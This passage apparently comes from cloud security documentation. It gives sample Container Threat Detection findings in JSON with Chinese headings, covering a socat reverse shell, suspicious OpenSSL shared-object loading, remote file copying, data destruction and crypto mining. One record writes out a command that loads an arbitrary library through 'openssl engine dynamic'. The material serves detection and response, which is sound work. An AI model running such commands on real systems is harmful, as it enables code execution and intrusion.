"parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "\"/usr/bin/bash\"",           "size": "1446024",           "sha256": "bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1",           "hashedSize": "1446024",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "\"/bin/bash\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"_\"",             "val": "\"/bin/sh\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-cups-2025-07-22-00-07-44-utc\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"DEBIAN_FRONTEND\"",             "val": "\"noninteractive\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"SHLVL\"",             "val": "\"2\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           }         ],         "pid": "9",         "parentPid": "8",         "userId": "0"       },       {         "binary": {           "path": "\"/usr/bin/socat1\"",           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "argumentsTruncated": false,         "pid": "0",         "parentPid": "0",         "userId": "0"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "CRITICAL",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_socat_reverse_shell_detected"     },     "detectionPriority": "CRITICAL",     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/tactics/TA0002/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1/detection"         }       ],       "relatedFindingUri": {}     }   } }

執行：已載入可疑的 OpenSSL 共用物件

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Execution: Suspicious OpenSSL Shared Object Loaded",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2025-01-21T19:55:22.017Z",     "database": {},     "eventTime": "2025-01-21T19:55:21.762Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2025-01-21T19:55:19.654640277Z"         }       }     ],     "mitreAttack": {},     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "mitreAttack": {       "primaryTactic": "EXECUTION",       "primaryTechniques": [         "SHARED_MODULES"       ],       "additionalTactics": [         "PERSISTENCE"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "\"/usr/bin/openssl\"",           "size": "736792",           "sha256": "d3738c5257ede884644c633582fae65705399e0dd7e2dee70c4ecbba7af73469",           "hashedSize": "736792",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "\"openssl\"",           "\"engine\"",           "\"dynamic\"",           "\"-pre\"",           "\"SO_PATH:/tmp/libfoo.so\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"HOSTNAME\"",             "val": "\"CONTAINER_NAME\""           },         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "CRITICAL",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_suspicious_openssl_shared_object_loaded"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/tactics/TA0002/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/d3738c5257ede884644c633582fae65705399e0dd7e2dee70c4ecbba7af73469/detection"         }       ],       "relatedFindingUri": {}     }   }, }

外洩：在容器中啟動遠端檔案複製工具

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Exfiltration: Launch Remote File Copy Tools in Container",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2025-01-21T19:55:22.017Z",     "database": {},     "eventTime": "2025-01-21T19:55:21.762Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2025-01-21T19:55:19.654640277Z"         }       }     ],     "mitreAttack": {},     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "mitreAttack": {       "primaryTactic": "PRIVILEGE_ESCALATION",       "primaryTechniques": [         "ESCAPE_TO_HOST"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "INTERPRETER",           "size": "147176",           "sha256": "INTERPRETER_SHA_256",           "hashedSize": "147176",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "INTERPRETER",           "ARG"         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-launch-remote-file-copy-tools-ba379a7c2168db11\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"GPG_KEY\"",             "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"LANG\"",             "val": "\"C.UTF-8\""           },           {             "name": "\"PYTHON_VERSION\"",             "val": "\"3.12.6\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           }         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "LOW",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_launch_remote_file_copy_tools_in_container"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/techniques/T1020/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/f3bf59164816762430e8cdf5a5d64b4284a86af86245a52067c533c8cd98f215/detection"         }       ],       "relatedFindingUri": {}     }   }, }

影響：偵測惡意指令列 (預先發布版)

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Impact: Detect Malicious Cmdlines",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2025-01-21T19:55:22.017Z",     "database": {},     "eventTime": "2025-01-21T19:55:21.762Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2025-01-21T19:55:19.654640277Z"         }       }     ],     "mitreAttack": {       "primaryTactic": "IMPACT",       "primaryTechniques": [         "DATA_DESTRUCTION"       ],       "additionalTactics": [         "IMPACT"       ],       "additionalTechniques": [         "INHIBIT_SYSTEM_RECOVERY"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "INTERPRETER",           "size": "147176",           "sha256": "INTERPRETER_SHA_256",           "hashedSize": "147176",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "INTERPRETER",           "ARG"         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-detect-malicious-cmdlines-ba379a7c2168db11\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"GPG_KEY\"",             "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"LANG\"",             "val": "\"C.UTF-8\""           },           {             "name": "\"PYTHON_VERSION\"",             "val": "\"3.12.6\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           }         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "CRITICAL",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_detect_malicious_cmdlines"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/techniques/T1485/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/430cdef8f363efe8b7fe0ce4af583b202b77d89f0ded08e3b77ac6aca0a0b304/detection"         }       ],       "relatedFindingUri": {}     }   }, }

影響：從磁碟移除大量資料

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Impact: Remove Bulk Data From Disk",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2025-01-21T19:55:22.017Z",     "database": {},     "eventTime": "2025-01-21T19:55:21.762Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2025-01-21T19:55:19.654640277Z"         }       }     ],     "mitreAttack": {},     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "mitreAttack": {       "primaryTactic": "PRIVILEGE_ESCALATION",       "primaryTechniques": [         "ESCAPE_TO_HOST"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "INTERPRETER",           "size": "147176",           "sha256": "INTERPRETER_SHA_256",           "hashedSize": "147176",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "INTERPRETER",           "ARG"         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-remove-bulk-data-from-disk-ba379a7c2168db11\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"GPG_KEY\"",             "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"LANG\"",             "val": "\"C.UTF-8\""           },           {             "name": "\"PYTHON_VERSION\"",             "val": "\"3.12.6\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           }         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "LOW",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_remove_bulk_data_from_disk"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/techniques/T1485/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/430cdef8f363efe8b7fe0ce4af583b202b77d89f0ded08e3b77ac6aca0a0b304/detection"         }       ],       "relatedFindingUri": {}     }   }, }

影響：使用 Stratum 通訊協定的可疑加密貨幣挖礦活動

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Impact: Suspicious crypto mining activity using the Stratum Protocol",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2025-01-21T19:55:22.017Z",     "database": {},     "eventTime": "2025-01-21T19:55:21.762Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2025-01-21T19:55:19.654640277Z"         }       }     ],     "mitreAttack": {},     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "mitreAttack": {       "primaryTactic": "PRIVILEGE_ESCALATION",       "primaryTechniques": [         "ESCAPE_TO_HOST"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       